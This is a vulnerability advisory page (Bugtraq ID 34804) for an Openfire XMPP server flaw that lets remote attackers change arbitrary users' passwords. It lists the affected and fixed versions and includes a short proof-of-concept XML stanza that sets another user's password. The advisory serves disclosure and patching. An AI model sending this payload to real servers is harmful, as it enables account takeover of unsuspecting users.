Openfire jabber:iq:auth 'passwd_change' Remote Password Change Vulnerability

BID:34804

Info

Openfire jabber:iq:auth 'passwd_change' Remote Password Change Vulnerability

Bugtraq ID: 34804
Class: Access Validation Error
CVE: CVE-2009-1595
CVE-2009-1596
Remote: Yes
Local: No
Published: May 04 2009 12:00AM
Updated: Mar 19 2015 09:03AM
Credit: Daryl Herzmann
Vulnerable: Ignite Realtime Openfire 3.6.3
Ignite Realtime Openfire 3.6.2
Ignite Realtime Openfire 3.5.2
Ignite Realtime Openfire 3.5.1
Ignite Realtime Openfire 3.5
Ignite Realtime Openfire 3.4.5
Ignite Realtime Openfire 3.4.4
Ignite Realtime Openfire 3.4.3
Ignite Realtime Openfire 3.4.2
Ignite Realtime Openfire 3.4.1
Ignite Realtime Openfire 3.4
Ignite Realtime Openfire 3.3.1
Ignite Realtime Openfire 3.3
Ignite Realtime Openfire 3.6.0a
Gentoo Linux
Not Vulnerable: Ignite Realtime Openfire 3.6.4

Discussion

Openfire jabber:iq:auth 'passwd_change' Remote Password Change Vulnerability

Openfire is prone to a vulnerability that can permit an attacker to change the password of arbitrary users.

Exploiting this issue can allow the attacker to gain unauthorized access to the affected application and to completely compromise victims' accounts.

Versions prior to Openfire 3.6.4 are vulnerable.

Exploit / POC

Openfire jabber:iq:auth 'passwd_change' Remote Password Change Vulnerability

The following example data is sufficient to trigger this issue:

<iq type='set' id='passwd_change'>
<query xmlns='jabber:iq:auth'>
<username>test2</username>
<password>newillegalychangedpassword</password>
</query>
</iq>

Solution / Fix

Openfire jabber:iq:auth 'passwd_change' Remote Password Change Vulnerability

Solution:
The vendor has released an update. Please see the references for details.


Igniterealtime Openfire 3.6.0a

Igniterealtime Openfire 3.3

Igniterealtime Openfire 3.3.1

Igniterealtime Openfire 3.4

Igniterealtime Openfire 3.4.1

Igniterealtime Openfire 3.4.2

Igniterealtime Openfire 3.4.3

Igniterealtime Openfire 3.4.4

Igniterealtime Openfire 3.4.5

Igniterealtime Openfire 3.5

Igniterealtime Openfire 3.5.1

Igniterealtime Openfire 3.5.2

Igniterealtime Openfire 3.6.2

Igniterealtime Openfire 3.6.3

References

Openfire jabber:iq:auth 'passwd_change' Remote Password Change Vulnerability

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